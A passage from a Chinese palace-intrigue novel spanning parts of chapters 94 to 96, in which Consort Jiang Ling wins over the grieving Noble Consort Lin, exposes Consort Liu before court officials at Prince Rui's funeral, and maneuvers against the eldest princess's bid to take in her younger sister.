为何指认了柳贤妃是凶手,临到末了,又轻描淡写揭了过去?” 林贵妃微愣,她垂下眼睑,浑身的凌厉,随之跟着退去。她恢复了一贯的平静,与江舲打起太极。 “柳贤妃乃是一品嫔妃,仅凭着三言两语,皇上岂会相信。” 江舲并不理会,继续问道::“贵妃娘娘为何又会指是柳贤妃呢?” 林贵妃冷冷道:“慧淑妃何苦步步紧逼,当年我就与慧淑妃说过,灯烛司出事,林氏损失了灯油买卖,赵德妃想替赵氏赚些银子的打算落了空。得了好处的人,非柳贤妃,而是慧淑妃。慧淑妃心里清楚,当时你没这个本事,除此之外,就只有她了。” “是啊,当时我没这个本事,贵妃娘娘却前来掰碎了说给我听。我没接这个茬,因为我接不起。再说,我既然得了好处,为何要去冲锋陷阵呢?” 江舲不见生气,感慨万分地道:“贵妃娘娘,我笨得很,比不得贵妃娘娘的七窍玲珑心。贵妃娘娘定在琢磨,我每每遇到麻烦,最终毫发无伤,还恩赏不断,升做了淑妃。宠妃罢了,皆仗着皇上的偏袒。这些也没错,皇上是偏袒了我一些。最重要之处,我没做过亏心事,始终坦坦荡荡。” “这后宫,没做过亏心事的人多了,大多都在西北角的寝宫之中。” 林贵妃嗤笑一声,“慧淑妃莫非以为,每次都能躲过去?” “我不惧,躲不过就躲不过吧。”江舲想都不想道。 看到林贵妃的情状,江舲瞬间就想得通透了。与其如惊弓之鸟,不如放手一搏。 有元明帝的“宠爱”,两个皇子傍身。她还须得瞻前顾后,畏首畏尾。其他的嫔妃们,连着林贵妃赵德妃柳贤妃算在内,她们未免太胆大了些! 江舲面色如常,却添了几分傲然,“要是我都躲不过,大抵后宫就没几人能躲过了。” 林贵妃顿住,片刻后,勉强附和了句,“慧淑妃想得通透。” 思及此,江舲突然福至心灵,轻声道:“我已明白,林贵妃的用意了。” 她一直清楚柳贤妃野心勃勃,只她又一叶障目了。按照宫斗剧学到的经验,柳贤妃无子,便以为她没必要针对有皇子的嫔妃。 柳贤妃非是在针对嫔妃,她的目标,从头到尾都是皇子们! 萧允瑞萧允珏接连出事,庄美人病得愈来愈厉害,亦是冲着萧允琅而去。 嫔妃依靠皇子在后宫中站稳脚跟,次之则是公主。 柳贤妃抚育萧珈桐,且为后宫的老人,元明帝对她虽早无男女之情,到底存着几分敬重。 如今,元明帝膝下只余两个皇子。倘若萧允瓒萧允琅也出事,后宫嫔妃的肚皮已久无动静,这般长久下去,最后只能过继储君。 柳贤妃要是铲除江舲,无论是夺得萧允瓒或萧允琅,手握皇子,顺顺当当可以升为太后。 若是萧允瓒萧允琅皆折损,要面临过继储君的局面,过继储君落入她手的胜算则非常大。 毕竟柳贤妃才情过人,萧珈桐由她抚育,比起几个皇子书都要强。 柳贤妃时常生病,在江舲看来,她不一定能活得过元明帝。 只是,元明帝现在受了伤! “贵妃娘娘是要让柳贤妃对付我,可是这样?”江舲不再拐弯抹角,直接了当问道。 林贵妃眸色沉了沉,终是坦然道:“即便我不让她针对你,她也不会放过你。 “她更不会放过你,还有赵德妃。”江舲迅速道。 偏屋冷若冰窖,两人交锋,神情平静,却字字如刀。 屋中气氛凝重,犹如乌云聚顶。 “贵妃娘娘早比我明白,灯烛司之事,林氏受到重创,赵氏亦如此。高才人,李婕妤,庄美人,一件件,一桩桩,祸水东引,片叶不沾身。” 江舲轻叹了声,“你早知晓,又能奈何呢?照样毫无办法。你与赵德妃都退居三舍,一心一意抚育皇子。可是,人算不如天算,睿亲王出了事。你悲伤,愤怒,憎恨,不甘心,只恨不得杀个片甲不留,与全部人都同归于尽。可惜你终究做不到,指认柳贤妃,你有冲动,也有算计。你将她拉进来,将这潭水搅得越来越浑。反正对你来说,事情已经足够坏,只有我这个被皇上偏袒的人,还完好无缺。柳贤妃一向超脱,深居简出。你突然对她发难,你是在打草惊蛇,要激怒她。柳贤妃是聪明人,已经没了对付你的必要,赵德妃那边也一样。你看,最终针对的人,只能是我了。” 林贵妃沉声道:“慧淑妃是兴师问罪来了。” 江舲轻轻摇头,她的神色变得迷惑不解,“你失去了唯一的骨肉,却连痛哭都不敢。你始终绷紧着,提防着。然而,你已是强弩之末,好比拉紧的弓弦,再些许用力,你便会崩断。我看不清了,到了此时此刻,你可有做过只你想做的事,可有未尽的心愿?” 林贵妃身子控制不住颤抖起来,着实实在太虚弱,终于撑不住靠进椅背中。她微仰着头,拼命地喘息,望着眼前的一排书架。 书架上对着卷轴,珍稀古籍,大儒的批注,竹卷等等,价值不菲,皆是林氏送进宫。 读书人若是看到书架,定会欣喜若狂。萧允瑞并不喜这些,因着她的严厉,他不情不愿读了一遍,便束之高阁。 林贵妃与家族中的男儿们一样,自幼读书习字。她与姐妹们跟着女先生读书,男儿们则是到族学,书院,太学,国子监。 读完书,她与姐妹们要学掌管中馈,当家理事。男儿们则要写文章,努力科举,再出仕做官。成为一家,甚至一族之主。 林贵妃羡慕极了,她也想去考科举,出仕做官,如阿爹在府中那般发号施令。 后来进了王府,比起在娘家时还不得自在,后来进了宫,再也没能出去。 她从没想过,她想要做甚。因为她自幼就知晓,长大之后成亲,相夫教子。 萧允瑞厌倦读书,阳奉阴违。林贵妃生气极了,他根本不知好歹!他可以走出重重的宫墙,可以做许多许多,可以掌管天下权。 他却弃之敝履,甚至,连她最渴盼的掌握大权,发号施令,皆不屑一顾。 “我未尽的心愿多得数不清。” 林贵妃恍惚起来,不知过了多久,她死死盯着江舲,神情凌厉:“我想说一不二!我未尽的心愿,便是说一不二!” 江舲暗中松了口气,带着鼓励的语气,轻松地道:“我也这般想。不过,我比你要好一些,人要虚心听取建言,有错则改,别再同一地连着摔倒。” 林贵妃怔怔望着江舲,消瘦的脸上茫然,难过等情绪,一一闪过。 “林贵妃,你现在已经没了别的选择。” 江舲干脆直接,最后摊了牌,“我要你与林氏一族皆效忠于我,我奉你为国士!” 林贵妃的神情震惊,她似乎觉着太过荒唐,难以置信,脸上挤出了笑。笑容越来越大,最后仰天大笑,泪水汩汩而下。 谢嬷嬷听到屋内的动静,不放心探头进来打量。见到林贵妃的模样,担忧不已,又守着规矩不敢进屋。 江舲一言不发,屏住呼吸,静静看着林贵妃。她的心忍不住砰砰跳,热血沸腾! 权势的滋味,原来这般美妙!她是嫔妃,已经没了别的出路。嫔妃们往上的路,乃是皇后,太后。 掌控天下权的摄政太后! 怪不得,江舲升份位,住进繁英阁,她们浑不在意。 林贵妃是这般打算,赵德妃这般打算,柳贤妃一样如此! 她们皆是如此! 林贵妃脸上布满了泪水,湿了绣帕,泪仍疯涌滑落。她哽咽抽搐着,软软趴在书桌上,失声恸哭。 寝宫正厅不断有人进出,礼部官员们忙着操持丧仪。林贵妃的哭声,隐隐约约传了出去。 天际阴沉,林贵妃的声音嘶哑,似受伤的母兽在哀鸣。 有官员一脸不忍,与同仁小声说了起来:“唉,贵妃娘娘只得睿亲王一个独子,这是生生在挖贵妃娘娘的心呐!” 那人道:“可不是,我们快些。合乎规制的棺椁难寻,只能先用陈太妃的金丝楠木棺了。白发人送黑发人,唉!” 两人说着话,盯着布置灵堂,亲王丧葬规格仪制繁琐,半点都不得马虎。 一片忙碌中,柳贤妃来到寝宫。绣云在安排指挥宫女们帮忙设置灵堂,听到小宫女禀报,赶紧来到偏屋回话:“贵妃娘娘,柳贤妃来了。” 林贵妃终于抬起头,她满脸的泪,眼睛肿胀赤红。撑着椅子扶手起身,一时虚弱得站立不稳,身形晃了晃。 绣云吓了一跳,连忙搀扶住她:“娘娘小心。” 林贵妃没有回应,侧首看了江舲一眼,掩面哭着踉跄奔出去。 江舲眉头蹙了蹙,慢悠悠跟在了身后。屋外,因着有官员在,柳贤妃在尙嬷嬷与宫女的簇拥下,一行人沿着回廊走来。 只见向来清冷,高贵自持的林贵妃,形容疯狂地朝柳贤妃奔去。她一边歪歪倒倒,一边哭着大骂。 “你来作甚!我儿没了,你可是来看我笑话了!毒妇,真是好歹毒的心!“ 众人哗然侧目,官员们神色大变,想要避开已不能,神色各异窃窃私语起来。 饶是柳贤妃,也没料到林贵妃突然撒泼发难,她僵在那里,不见了往常的镇定。 江舲起初也一愣,随即悄然而笑。 终于撕开了以往虚伪融洽的面纱,林贵妃投靠她了! 第95章 柳贤妃岂是常人, 震惊片刻,迅速反击,拔高声音喊道:“贵妃娘娘!” 她的声音本清亮, 气沉丹田而饱含委屈的一声,将全部的注意力皆吸引了过去, 大家齐齐朝她看去。 “睿亲王没了,贵妃娘娘伤心欲绝, 要是能骂我出气, 就尽管骂吧。贵妃娘娘要是尤觉得不够,便是打我, 我也不会怪罪贵妃娘娘。” 柳贤妃的语速极快,声音又高, 林贵妃身子太过虚弱, 一开口就被压了下去,便聪明地及时打住,绝不做无用功。 “我曾与贵妃娘娘一样, 当年我儿没了时, 我也恨不得去死, 连着贵妃娘娘一并恨上。我当时想, 为何睿亲王好生生的, 我儿就没了, 可是睿亲王与我儿八字不合,夺了我儿的运道。” 柳贤妃像是回忆起当年之事, 神情凄然而痛楚, “我明知这些都与贵妃娘无关,与睿亲王无关,从我身上掉下去的肉, 一下没了,比剜心还要痛,何曾顾得上那么多。” 她走上前,含泪立在林贵妃面前,诚挚地道:“贵妃娘娘,你我皆经历了丧子之痛,我不怪你。这么些年来,幸好有阿桐,我才缓过气,活了过来。现在后宫中的孩子少,就慧淑妃膝下的三皇子四皇子年幼……” “大胆!” 江舲厉声呵斥,截断了柳贤妃的话:“好你个柳贤妃,真是伶牙俐齿,不安好心!” 柳贤妃用她夭折的皇子来做例子,似真似假说起当年她的心境与痛楚。她提到萧珈桐,则是在提醒,她膝下只有一个公主,属实没有陷害大皇子的理由。 百姓的舆论无关紧要,朝臣们的看法,才是重中之重。 柳贤妃这番话,尤其重要之处,在于她只有公主萧珈桐的事实。 大胤从未有公主登基的先例,朝臣们压根没想过公主登基。故此,礼部的官员定会偏向柳贤妃之言。 只三言两语,柳贤妃便洗清了林贵妃含沙射影,称她害死睿亲王的嫌疑。 非但如此,柳贤妃聪明绝顶,看到江舲在,顺道将她算计了进去。 提到萧允琅,则是在使用离间计,挑拨提点林贵妃对付江舲。若江舲折损,岂止是萧允琅,还有萧允瓒。拥有皇子在手,亲生也好,抚育也罢,皆为夺权的利器。 林贵妃浑身无力依靠在绣云谢嬷嬷身上,她的嗓子已经哑掉,实在不是柳贤妃的对手。 江舲必须亲身上阵,一来对柳贤妃进行反击,再者,她若无用,林贵妃定不会选她。 毕竟,林贵妃岂能甘心屈居一个蠢货之下,借势顺着柳贤妃,才是最优解。 “慧淑妃……”柳贤妃反应极快,她眼眶一红,恭敬中带着委屈。 江舲比林贵妃的身子好,在眼下紧张重要时刻,她用尽全力,带着拼命地劲头,愤怒地嘶声喊道:“虚伪的小人,你闭嘴!” 柳贤妃视线微不可查看向身边的心腹宫女福儿,福儿低头悄然往后退,往外走了去。柳贤妃则微微侧身,避过投向她的目光,眼神冰冷,哽咽着道:“慧淑妃,得皇上宠爱,份位在我之上,我向来尊着你,敬着你。若我有得罪之处,还请慧淑妃直言,我向慧淑妃赔罪了。” 她一边说话,一边双腿颤巍巍跪在地上,俯身下去就要磕头。 江舲是一品淑妃,在前面添了“慧”字,实则以示圣宠,荣耀,非是江舲的真正品级比柳贤妃高。 柳贤妃是潜邸老人,她这一跪,官员们的眼神都变了。 江舲不避不让,站在柳贤妃面前,接受了她的下跪。 “柳贤妃,你看,从进寝宫起,你就变了好几幅面孔。先在林贵妃面前表现得大度,话里话外,皆在言林贵妃的不是。如今睿亲王尸骨未寒,你连林贵妃都不放过,将她说成了失心疯。林贵妃自幼长在林氏,秀外慧中,不以物喜不以己悲,她何时发过疯?你不过看林贵妃身子不好,趁势欺负她罢了!” 江舲冷笑连连,上前逼仍然俯身跪在地上的柳贤妃,“你再对我表现得委屈,还故意向我下跪……” 她摇着头,神情嘲讽,啧啧两声,“柳贤妃,你这是跪给谁看呢?我想,肯定不是跪我。” 说到这里,江舲不经意朝官员们看了一眼,“我是笨,性子直,一向有话直说,反应不及你快。受了你这一跪,我就成了罪人,显得我是在仗着宠爱,欺负你这个后宫老人,是不敬不尊。你是厉害,将人心玩弄于股掌之上,转瞬间翻云覆雨,挥斥方遒。你做的那些事,我说起来都嫌脏了嘴!” 柳贤妃缓缓抬起头,她并未起身,挺直背跪在那里,淬满寒冰的双眸看向江舲:“我做了哪些事,让慧淑妃这般不耻?” “你做的那些事,你自己清楚。我不说出来,是给你留个体面。你提到阿琅……” 江舲故意停顿片刻,呵呵一声,神色讥讽,“阿琅已经长大了,知晓我不是他的亲生阿娘,我已如实告诉了他,他阿娘高美人是如何亡故。此事不但太医院,后宫中许多人都知道。我心怀坦荡,问心无愧,半个字都不曾隐瞒。柳贤妃,世上英才不知凡几,你是聪明过人,可惜心眼太脏。稚子何其无辜,你可以对付我,别将你那些见不得光的计谋,用在一个自幼丧母的稚童身上。” 她抬手朝天一指,“柳贤妃,你抬头瞧瞧,朗朗乾坤,你也不怕招到报应!” 柳贤妃终于失去了镇定,脸色变得苍白,几近狰狞地盯着江舲。 林贵妃先前只靠在谢嬷嬷身上,静观其变。这时她朝江舲看来,抬手抹起了泪,重新开始伤心哭泣。喃喃念叨着:“庄美人,庄婕妤……原来如此,原来如此” 官员们的神情变换不停,精彩极了。她们的话虽含糊其辞,未清楚言明某事,却又无形中道出了令人震惊的皇家秘辛。 事关天下江山,皇子后妃的生死,无人敢出声,生怕一不小心就招来杀身之祸。 柳贤妃如没必要再跪,借着尙嬷嬷之手,撑着膝盖站起了身。 江舲的一席话,无异于釜底抽薪。 既然她告诉了萧允琅的身世,他就失去了争夺的必要。 毕竟事关生母之死,他岂能不在意。倘若他最终登基,肯定会不顾一切地去查。哪怕查不到,心生疑窦之后,便再难消除。 他更不能出事,江舲的话,同样在朝臣官员心头投下了一道怀疑的阴影。 同样如此,江舲当众与她撕破脸皮,无论是江舲,亦或萧允瓒出事,首先就会怀疑到她头上。 “慧淑妃,我也同样回敬你一句话。郎朗乾坤,你辱骂我,污蔑我,上天都听着。我不愿与你争执,并非我真心虚,乃是不想在睿亲王灵前争吵,扰了睿亲王登极乐之路。” 柳贤妃朝林贵妃江舲屈膝见礼,搭着尙嬷嬷之手,转身离去。 官员们见状如作鸟兽散,赶紧佯装去忙碌。林贵妃朝灵堂看了一眼,对谢嬷嬷道:“嬷嬷,扶我回宫。” 谢嬷嬷忙招呼绣云留下张罗,她搀扶住林贵妃朝外走去。江舲也一道往外走,关心问道:“你可还好?” “不好。”林贵妃如实道,苦涩地道:“我要好生歇一歇,否则,这破败之躯,真活不了几日。” “无论可有胃口,必须吃些东西下肚,这样你才有力气。” 江舲说了句,回头看向忙碌地庭院,道:“你放心,礼部的官员会操持好丧仪。先养好身子再来。” “我不来了。”林贵妃垂下眼眸,声音凄楚,“看到阿瑞的灵堂,我透不过气,痛不欲生,永无法愈合。” 江舲听得戚戚然,萧允瑞哪怕再阴狠无用,他始终是林贵妃的儿子。古今皆有亲亲相隐,亲人大义灭亲,与人性人伦相悖。 林贵妃深深呼出一口气,犹豫了半晌,道:“你不怕我?” 江舲一愣,旋即自信地道:“用人不疑,疑人不用。再说,我一路太平好运,乃是天选之子,肯定会笑到最后。” 林贵妃望着江舲飞扬的神情,心头滋味复杂难辨。她沉吟片刻,“慧淑妃能这般便好,你住在皇上身边,消息灵通,我就不多言了。” 江舲自明白林贵妃之意,两人的方向一南一北,在夹道口别过,各自回宫。 琼华阁。 元明帝睁眼躺在床上,一闭眼,眼前就浮现出萧允瑞的音容笑貌。他不禁难受至极,转头朝床前看去。 江舲去了萧允瑞寝宫,萧允瓒萧允琅见她不在,顿时扔下笔,跑到屋外玩陀螺去了。 元明帝听得没好气,让黄梁江他们唤进屋,在床前摆了案几桌椅,亲自盯着他们写大字。 萧允瓒淘气,伸出手指在砚台里蘸了墨汁,偷偷去戳萧允琅的脸。瞬间,萧允琅的脸上便留在一道墨点。 萧允琅一抹脸,看到手上的墨汁,也不遑多让,拿笔在萧允瓒写好的纸上涂抹。 两人闷声不响你来我往,手上脸上纸上皆是墨。元明帝看到他们两人的大花脸,立刻盛怒:“你们两个混账!要是写不完十篇大字,看朕不好好收拾你们!” 萧允瓒皱起眉头,苦着小脸不做声。萧允琅一缩脖子,乖巧地重新铺纸,准备完成元明帝布置的功课。 黄梁躬身上前,道:“皇上,大公主前来给皇上请安了。” 萧珈桐极少到垂拱殿,元明帝受伤后,她在翌日前来请安,准备给元明帝侍疾。 琼华阁时常有朝臣官员到来,加之江舲在,元明帝便打发了她回去。 元明帝以为萧珈桐又来请安,心道她功课大字都好,她来得正是时机,能趁机教训两个泼猴。 “让她进来。”元明帝吩咐黄梁,瞪着萧允瓒萧允瑞,道:“亏得你们还是男儿,写大字却比不过一个小娘子,我看你们何来的脸!” “阿爹,比不过便不比,圣人言人不可攀比。脸长在这里,为何会没了?”萧允瓒抚摸着脸颊,振振有词道。 “好你个混账小子,圣人何时出过此言?”元明帝又气又想笑,他盯着萧允瓒黑黢黢的小脸,不由得抬出了江舲:“瞧你这一脸,等下你阿娘回来,定会收拾你。” 两人都怕江舲,萧允瓒马上老实不做声了,拿起帕子在脸上搓揉,搓得脸颊黑红交加。 萧珈桐进屋,看到摆在龙床前的几案,她先上前见礼,再对正搓得起劲的萧允瓒道:“阿瓒快别用力,仔细弄破了脸。” 两人懂事地起身见礼,萧允瓒与萧珈桐不熟,他敷衍了叫了声大姐姐,埋头继续搓。 萧珈桐忙上前拦住了,温声道:“阿瓒,这般擦拭不干净,得用水清洗。” 元明帝看着儿女们在跟前说话,心情勉强缓和了些,吩咐黄梁把他们带下去更洗。 两人随黄梁出去了,屋中安静下来,萧珈桐眼眶一红,道:“大哥薨逝,我听到时,不知有多难过。不过,天底下最最伤心之人,应当是阿爹。阿娘常对我说,阿爹待儿女们皆当做眼珠子般,大哥这一走,岂不是生生在挖阿爹的心。我不敢妄想消除阿爹的心中之痛,陪着阿爹说几句话,熬过这段艰难的时日。” 她的话,说到了元明帝的心坎上。他向来以为,他虽是皇帝,却重情重义,真正的仁慈圣明之君。 “柳贤妃将你教得很好。”元明帝神色缓和下来,慈爱地道:“阿桐长大了,以后朕会好生替你寻个驸马。” “阿爹。”萧珈桐垂下头,像是小娘子害羞那般,“阿娘也说,阿爹就是再忙,都始终关心着我们兄弟姐妹。我虽是公主,阿爹待我们子女的心,却是一样疼爱。” 元明帝听得心头一暖,“你们都是朕的骨肉,朕如何能不疼爱。”思及早逝的萧允瑞,他心头又针扎一样难过。 萧珈桐将元明帝的反应瞧在眼里,接过话道:“我们兄弟姐妹一共五人,大哥他二哥又受了伤,以后我成亲之后,就少了一兄长替我撑腰。阿爹,以前我不明白,大哥没了,我才深深体会到,何为打断血脉连着筋。以前我不懂事,读书时格外拼命,想着在阿爹面前显摆,好得阿爹的夸赞。阿娘却劝我,别没日没夜地读书,年纪轻轻就就读坏了身子。我还觉得阿娘奇怪,阿娘视我为亲生,待我关怀备至。父母皆愿意看到儿女争气,怎地反而要劝着我别读书。阿娘告诉我,我是公主,公主要选驸马。大哥阿珏阿瓒阿琅他们,才是延续大胤江山,萧氏皇室血脉之人。我拼了命学习,处处出头,将大哥阿珏他们比下去,是我钻了牛角尖。我没来得及对大哥赔个不是,大哥就没了……” 她抽泣起来,拿着帕子垂首拭泪,“阿爹,我好后悔。阿娘怕贵妃娘娘伤心,去安抚贵妃娘娘了。我实在忍不住,前来见阿爹。这些话,我无法再对阿哥说,我想说给阿爹听。” 几个儿女中,元明帝最为欣赏萧珈棠,她的一笔大字,风骨峻峭。柳侍郎的字天下闻名,她年纪轻轻,已得其七八分的神韵。 见一贯聪慧,贞静的长女,此时依赖着他,难掩孺慕之情,元明帝鼻子忍不住发酸,近来发生的一连串大事,累积在心头的烦闷,不知不觉都消散了大半。 “阿桐,你孝顺忠厚,以后多教导阿瓒阿琅两个混小子,他们先前在朕面前写大字,弄得一头一脸的墨,字更是一塌糊涂。” 元明帝朝安桌指去,道:“你去瞧,气煞朕也!” 萧珈桐起身走向案桌,拿起纸认真看过,道:“阿爹,阿瓒阿琅的字皆算不得差,他们还小,手腕的力道不足,待长大些,自然就写得好了。阿瓒机灵,阿琅乖巧,阿爹,他们是萧氏血脉。萧氏血脉,何时出过蠢人?” 元明帝龙心甚慰,心道他的骨血,当是天下顶顶好。 萧珈桐抿着唇,神情欲言又止。元明帝见状,道:“阿桐你有何话,尽管道来便是,” “阿爹,我有件事,想求阿爹恩准。” 萧珈桐犹豫片刻,鼓起勇气道:“阿爹,赵娘娘不在宫中了,阿棠如今由嬷嬷们照看,我去看过一次阿棠,她成日以泪洗面,憔悴不堪。我是大姐姐,又是女儿家,与阿棠说得上话。嬷嬷们虽尽心,到底是奴仆,不敢多劝。我想求阿爹,让阿棠随我同住。我平时能陪着她,开解她,也能看着她些,莫让她折腾坏了身子。” 自从赵嫔被送到皇庙后,元明帝便没再管过萧珈棠。听到萧珈桐牵挂着妹妹,对她又添了几分欣慰。 同时,元明帝对赵德妃却很是不满,她身为亲姨母,竟对萧珈棠不管不顾! 到底是亲生女儿,柳贤妃将萧珈桐抚育得此般优异,元明帝一口应了,“朕允了,让阿棠随你住在一起,你们姐妹彼此也有个伴。” 萧珈桐屈膝谢恩,“阿爹,等下我就去带阿棠回柔仪殿。我会好好看顾阿棠,不让阿爹操心。” 元明帝满意不已,慈爱地道:“你去吧,有事就来与朕说。” 萧珈桐恭顺地应道:“是,阿爹好生歇着,莫要忧思太过。我们姐弟几人,须得阿爹照看,教导。大胤天下江山,更离不得阿爹。” 元明帝脸上不知觉浮起笑意,目送着萧珈桐退下。待她走出屋,他遗憾地长长叹息,“唉,可惜只是个公主。” 感叹完,元明帝脸一沉,喊道:“两个混小子,给老子滚进来!” 黄梁赶紧上前道:“皇上,慧淑妃娘娘回来了,三皇子四皇子去找娘娘了,正在回廊与大公主说话。” 江舲急匆匆赶回琼华阁,萧允瓒萧允琅朝她噔噔噔跑来,一股脑往她怀里扑:“阿娘,你总算回来了!” “我才走这一会。”江舲见他们黏着她,虽感到暖意流淌,却又哭笑不得。 “阿娘,阿爹叫我们去他跟前写大字!”萧允瓒一脸的郁闷,偷笑道:“幸好大姐姐来给阿爹请安,阿爹才放过了我们。” 前面,萧珈桐正沿着回廊走来。她步伐轻盈,礼仪规矩极好,走动时裙摆几乎纹丝不动,带着双丫髻年岁少见的冷静从容。 随行伺候的宫女,正是随柳贤妃前往萧允瑞寝宫,悄悄离开的福儿。 江舲暗叫了声糟糕,心霎时沉下去大半。 她与林贵妃都忽略了萧珈桐,而她的动作反应,未免太快了些! 第96章 萧珈桐远远屈膝见礼, 白皙秀气的脸庞,带着恰到好处的笑容,客气又礼数周全。 萧允瓒萧允琅抱拳俯身, 喊了声大姐姐,便自顾自奔到一边去玩耍了。 江舲颔首回礼, 指着打闹的两人,半真半假地道:“唉, 这两个淘气的, 与大公主比起来,真是没眼看。” 平时萧珈桐除非给元明帝请安, 宫筵节庆之外,极少出柔仪殿, 与江舲算是点头之交。 见江舲似乎有寒暄之意, 萧珈桐似乎意外了下,脸色一僵。旋即,她便恢复了寻常, 恭谨地道:“娘娘过誉了, 阿瓒阿琅懂事伶俐, 娘娘将他们养育得很好。” “大公主的一笔大字, 无人不知。偏生这两个小猢狲都不爱读书, 一笔大字真真不忍猝视, 时常惹得皇上生气。” 江舲无奈地摇头,话锋一转, “大公主来给皇上请安, 真真是孝顺。皇上龙体欠安,时常提起你们兄弟姐妹几人。唉,可怜天下父母心。天色已晚, 大公主陪着皇上用完晚膳再回去。” 她自顾自说着,完全不给萧珈桐回答的机会,虚虚伸出手,热情地邀请她,“睿亲王薨逝,大公主善解人意,正好开解皇上。” 萧珈桐脸色一僵,她垂下眼睑,赔笑道:“娘娘,照理我是该留下侍奉阿爹,恰好我奉了阿爹之命去看阿棠。待我安顿好阿棠之后,与阿棠一道来阿爹跟前侍疾。” 这些天江舲从未听元明帝提到萧珈棠,肯定是萧珈桐提了出来。她提到安顿,江舲心思微转,明白萧珈桐走这一趟的用意。 两个皇子一死一伤,萧珈桐这是来元明帝跟前来尽孝,晓以亲情。这一招,她用得极为高超,元明帝将萧珈棠交予了她之手。 元明帝对萧珈桐越看重,对柳贤妃这个养母就越有利,毕竟她功不可没。 赵嫔被送进皇庙,大半是她诬陷江舲而起。她是萧珈棠阿娘,即便她咎由自取,萧珈棠也会因此恨上江舲。 且赵嫔害死萧允瑞,林贵妃即便不与她计较,不落井下石已经算得上宽厚仁慈。而赵德妃与赵嫔姐妹不合,赵嫔出事,她不闻不问,可想而知姨甥之间的关系。 萧珈棠再聪慧,毕竟未曾真正经历大事,如何是柳贤妃这等老谋深算之人的对手。无需几个回合,她便成了柳贤妃手中的筹码。 元明帝性情凉薄,最先顾着的永是自己。不过,元明帝子嗣少,萧珈棠并未因赵嫔受到牵连,她这个公主能顶些用。 江舲不会为难无依无靠的萧珈棠,更不会让柳贤妃得偿所愿。 “唉,这些时候出了不少事,大家都筋疲力竭,确实疏忽了二公主。还是大公主想得周全,记挂着二公主。” 江舲权当没听懂萧珈桐的话中之意,道:“睹物思人,二公主也上了年岁,是该考虑搬出香雪阁。我这就去与皇上说。” 萧珈桐脸色顿时微变,忙道:“娘娘,我与阿棠年岁相近,姐妹俩在一起说得上话,阿爹已经让阿棠随我一起住了。” 江舲唔了声,不置可否道:“既然如此,你随我一道去皇上跟前说吧。” 萧珈桐这时进退两难起来,江舲侍奉元明帝左右,她若是插手,元明帝十有八九会改变主意。 左右衡量之后,萧珈桐侧身让江舲走在前,“那有劳娘娘了。” 两人一道进正厅,江舲道:“大公主先吃杯茶,我有事与皇上说。”她不待萧珈桐回答,吩咐宫女上茶水,“好生伺候。” 江舲俨然已经是琼华阁的主子,宫女内侍皆对她言听计从。宫女上前领萧珈棠去客舍,恭敬地道:“大公主请。” 萧珈桐端瞧着江舲的做派,心头突突跳,暗叫不好。如今她进退两难,只能勉强克制住心慌,随着宫女去了。 萧允瑞灵堂前的吵闹,已经传到御前。张善随黄梁一起,正在向元明帝回禀。 元明帝听得脸色铁青,气得差点晕过去。江舲一进屋,他便砰砰捶着床,心痛至极喊道:“究竟是如何回事,朕的后宫,不得片刻安宁!你们打的何种心思,可是打算气死朕!” 江舲长长叹了口气,上前坐在龙床边的锦凳上,握住元明帝的手,柔声喊道:“皇上。” 她从未这般温柔主动过,元明帝不禁一顿,从鼻孔中喷出一声,“当着朝臣的面,在阿瑞的灵堂前吵嚷,规矩呢?置皇家脸面于何处,朕的脸,都被你们丢得一干二净!” “皇上,贵妃娘娘伤心欲绝,身子很不好。” 江舲先从林贵妃开始,略过她们之间的对阵商谈,如实将柳贤妃来后所发生之事娓娓道来。 在江舲进屋之前,张善已将灵堂前的争吵,回得七七八八。她当着张善黄梁的面,所言与他们并无出入。 “皇上,贵妃娘娘失去睿亲王,她心里的苦痛,皇上最能理会。我不知真假,不敢断言孰是孰非。” 江舲强调她的看法,以示她的不偏不倚,“贵妃娘娘被话里话外指责成失心疯,我实在替贵妃娘娘不值。大家都是后宫的姐妹,哪怕彼此看不顺眼,也不该明里暗里贬低贵妃娘娘。死者为大,睿亲王尸骨未寒,本才情过人,温婉聪慧的阿娘就成了疯妇,他在九泉之下,都不得安生。偏生贵妃娘娘虚弱得站立不稳,哭得嗓子沙哑,连说话都吃力,哪能与柳贤妃争辩。我觉得柳贤妃欺人太甚,她要真如嘴上所说,念着贵妃娘娘痛失睿亲王,打她骂她,她都不会怪罪贵妃娘娘。这些话,真是虚伪极了,真不在意,便不会提,马上转身离开便是。好比赵德妃撞得我受伤,我没听到她半个字的赔罪,从头到尾都未曾提起过半个字。” 萧允瑞便是撞伤脑子去世,江舲一样脑子受了伤,所幸最终无碍。此伤极为凶险,元明帝确实未听到江舲抱怨过半句。即便是林贵妃挑事在先,她也是因为丧子之痛,情有可原。 柳贤妃的做派,看似替自己辩解。经过江舲仔细一分析,两相比较,让元明帝心里有了判断,脸色变得愈发难看。 先前因萧珈桐对柳贤妃生出的那些好感,消散得无影无踪。 江舲苦笑一声,“唉,我这个人,听不懂也看不惯那些弯弯绕绕,习惯有话直说,当面说清楚,免得在背后说三道四。” 元明帝不由得掀起眼皮,瞄了江舲一眼,心道:“虽许久没听到她心里的声音,她倒说得没错,她脾气其实差得很,连朕都会暗骂,当场黑脸也不稀奇。她虽脾气差,心地却真真善良,从未起害人的心思。” “柳贤妃的话,绵里藏针,真真是恶心极了。她提到阿琅,呵呵,她是何意?大公主当年让她抚育,她才走出丧子之痛。称后宫就阿瓒阿琅年幼,她就差指着我的鼻子,让阿琅跟着林贵妃,好安抚失去睿亲王的林贵妃! 江舲避开了柳贤妃下跪之事,她神色愤愤,生气得拽紧了手。 元明帝垂眸看向她握住自己的手,心里一阵触动。 “我舍不得阿琅!阿琅不是猫猫狗狗,阿琅是活生生的人!就算林贵妃再好,阿琅机灵得很,他与阿瓒自穿开裆裤起就形影不离,一旦分开,阿琅该多难过,以为我不要他了呢!他们兄弟之间的感情,以后只怕再难恢复了。我不是替自己脸上贴金,放眼全大胤,都找不出出几对,如阿瓒阿琅这般亲密无间的异母兄弟!人呐,知人知面不知心,有些人看似菩萨面孔,却是恶魔心肠!” 自从江舲带着萧允瓒萧允琅搬进垂拱殿,元明帝动弹不得,成天能看着他们。他们从睁开眼起就打闹,拌嘴。前一刻哭鼻子,下一瞬就又笑着玩到了一起。 只要不危险,会造成受伤,江舲从不插手他们之间的官司,让他们自己去解决,不偏不倚。 元明帝极为不满他们贪玩,总是不专心读书写字。江舲对此振振有词,等他们上学堂之后再管。她并非故意将萧允琅养成不学无术的纨绔,对萧允瓒同样如此。 平时萧允琅黏着江舲,那股依赖之情,元明帝都瞧在眼里,丝毫做不得假。 足可见她所言,并无半点虚假,她是真心疼爱两人。 